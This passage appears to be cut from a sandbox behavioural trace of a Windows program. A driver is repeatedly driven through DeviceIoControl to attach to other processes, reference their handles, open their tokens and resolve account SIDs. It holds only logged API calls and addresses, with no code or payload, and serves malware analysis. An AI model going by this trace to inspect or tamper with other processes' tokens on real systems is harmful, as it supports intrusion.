lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0074.769] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.769] PsAcquireProcessExitSynchronization () returned 0x0 [0074.769] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054f85d0) [0074.770] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020d0790, HandleInformation=0x0) returned 0x0 [0074.770] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.770] PsReleaseProcessExitSynchronization () returned 0x2 [0074.770] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0074.770] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390d044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800390d044, ReturnLength=0xfffff880054f8508) returned 0x0 [0074.770] ObfDereferenceObject (Object=0xfffffa80020d0790) returned 0x1 [0074.770] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.770] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.770] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0074.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0074.770] PsLookupProcessByProcessId (in: ProcessId=0xa90, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0074.770] PsAcquireProcessExitSynchronization () returned 0x0 [0074.770] KeStackAttachProcess (in: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020d7b30, ApcState=0xfffff880054f85d0) [0074.770] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0074.770] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0074.770] PsReleaseProcessExitSynchronization () returned 0x2 [0074.770] ObfDereferenceObject (Object=0xfffffa80020d7b30) returned 0x10 [0074.770] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003918044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003918044, ReturnLength=0xfffff880054f8550) returned 0x0 [0074.770] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0074.770] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.770] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0074.770] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaa0) returned 0xc0 [0074.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0074.770] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020f7380, HandleInformation=0x0) returned 0x0 [0074.770] ObOpenObjectByPointer (in: Object=0xfffffa80020f7380, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a98) returned 0x0 [0074.770] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x12 [0074.770] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a98, DesiredAccess=0x8, TokenHandle=0xfffffa8002007b40 | out: TokenHandle=0xfffffa8002007b40*=0xc8) returned 0x0 [0074.770] ZwClose (Handle=0xffffffff80000a98) returned 0x0 [0074.771] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0074.771] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0074.771] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.078] CloseHandle (hObject=0xc8) returned 1 [0075.078] CloseHandle (hObject=0xc0) returned 1 [0075.078] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.078] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.078] PsAcquireProcessExitSynchronization () returned 0x0 [0075.078] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054f85d0) [0075.078] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002044750, HandleInformation=0x0) returned 0x0 [0075.078] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.078] PsReleaseProcessExitSynchronization () returned 0x2 [0075.078] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0075.078] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.078] ObfDereferenceObject (Object=0xfffffa8002044750) returned 0x1 [0075.078] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.078] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.078] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0075.078] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.078] PsAcquireProcessExitSynchronization () returned 0x0 [0075.078] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054f85d0) [0075.078] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002056c20, HandleInformation=0x0) returned 0x0 [0075.078] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.079] PsReleaseProcessExitSynchronization () returned 0x2 [0075.079] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0075.079] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.079] ObfDereferenceObject (Object=0xfffffa8002056c20) returned 0x1 [0075.079] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.079] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.079] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.079] PsLookupProcessByProcessId (in: ProcessId=0xaa0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.079] PsAcquireProcessExitSynchronization () returned 0x0 [0075.079] KeStackAttachProcess (in: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020f7380, ApcState=0xfffff880054f85d0) [0075.079] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.079] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.079] PsReleaseProcessExitSynchronization () returned 0x2 [0075.079] ObfDereferenceObject (Object=0xfffffa80020f7380) returned 0x10 [0075.079] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.079] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.079] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.079] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.079] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xab0) returned 0xc0 [0075.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.079] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002115b30, HandleInformation=0x0) returned 0x0 [0075.079] ObOpenObjectByPointer (in: Object=0xfffffa8002115b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.079] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x12 [0075.079] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.079] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.079] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.079] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.080] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.081] CloseHandle (hObject=0xc8) returned 1 [0075.081] CloseHandle (hObject=0xc0) returned 1 [0075.081] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.081] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.081] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.081] PsAcquireProcessExitSynchronization () returned 0x0 [0075.081] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054f85d0) [0075.081] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020f7cb0, HandleInformation=0x0) returned 0x0 [0075.081] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.081] PsReleaseProcessExitSynchronization () returned 0x2 [0075.081] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0075.081] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.081] ObfDereferenceObject (Object=0xfffffa80020f7cb0) returned 0x1 [0075.081] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.081] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.082] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0075.082] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.082] PsAcquireProcessExitSynchronization () returned 0x0 [0075.082] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054f85d0) [0075.082] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a225b0, HandleInformation=0x0) returned 0x0 [0075.082] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.082] PsReleaseProcessExitSynchronization () returned 0x2 [0075.082] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0075.082] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a0e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a0e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.082] ObfDereferenceObject (Object=0xfffffa8001a225b0) returned 0x1 [0075.082] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.082] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.082] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.082] PsLookupProcessByProcessId (in: ProcessId=0xab0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.082] PsAcquireProcessExitSynchronization () returned 0x0 [0075.082] KeStackAttachProcess (in: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002115b30, ApcState=0xfffff880054f85d0) [0075.082] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.082] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.082] PsReleaseProcessExitSynchronization () returned 0x2 [0075.082] ObfDereferenceObject (Object=0xfffffa8002115b30) returned 0x10 [0075.082] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.082] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.082] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.082] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.082] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xac0) returned 0xc0 [0075.082] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.082] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002110630, HandleInformation=0x0) returned 0x0 [0075.082] ObOpenObjectByPointer (in: Object=0xfffffa8002110630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.083] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x12 [0075.083] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.083] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.083] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.083] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.083] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.084] CloseHandle (hObject=0xc8) returned 1 [0075.084] CloseHandle (hObject=0xc0) returned 1 [0075.084] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.084] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.085] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.085] PsAcquireProcessExitSynchronization () returned 0x0 [0075.085] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054f85d0) [0075.085] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020ceba0, HandleInformation=0x0) returned 0x0 [0075.085] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.085] PsReleaseProcessExitSynchronization () returned 0x2 [0075.085] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0075.085] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.085] ObfDereferenceObject (Object=0xfffffa80020ceba0) returned 0x1 [0075.085] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.085] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.085] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0075.085] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.085] PsAcquireProcessExitSynchronization () returned 0x0 [0075.085] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054f85d0) [0075.085] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002127ac0, HandleInformation=0x0) returned 0x0 [0075.085] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.085] PsReleaseProcessExitSynchronization () returned 0x2 [0075.085] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0075.085] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.085] ObfDereferenceObject (Object=0xfffffa8002127ac0) returned 0x1 [0075.085] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.085] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.085] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.085] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.085] PsLookupProcessByProcessId (in: ProcessId=0xac0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.085] PsAcquireProcessExitSynchronization () returned 0x0 [0075.085] KeStackAttachProcess (in: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002110630, ApcState=0xfffff880054f85d0) [0075.086] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0075.086] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.086] PsReleaseProcessExitSynchronization () returned 0x2 [0075.086] ObfDereferenceObject (Object=0xfffffa8002110630) returned 0x10 [0075.086] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001f90044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001f90044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.086] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0075.086] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.086] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.086] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xad0) returned 0xc0 [0075.086] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.086] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002121b30, HandleInformation=0x0) returned 0x0 [0075.086] ObOpenObjectByPointer (in: Object=0xfffffa8002121b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.086] ObfDereferenceObject (Object=0xfffffa8002121b30) returned 0x12 [0075.086] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: 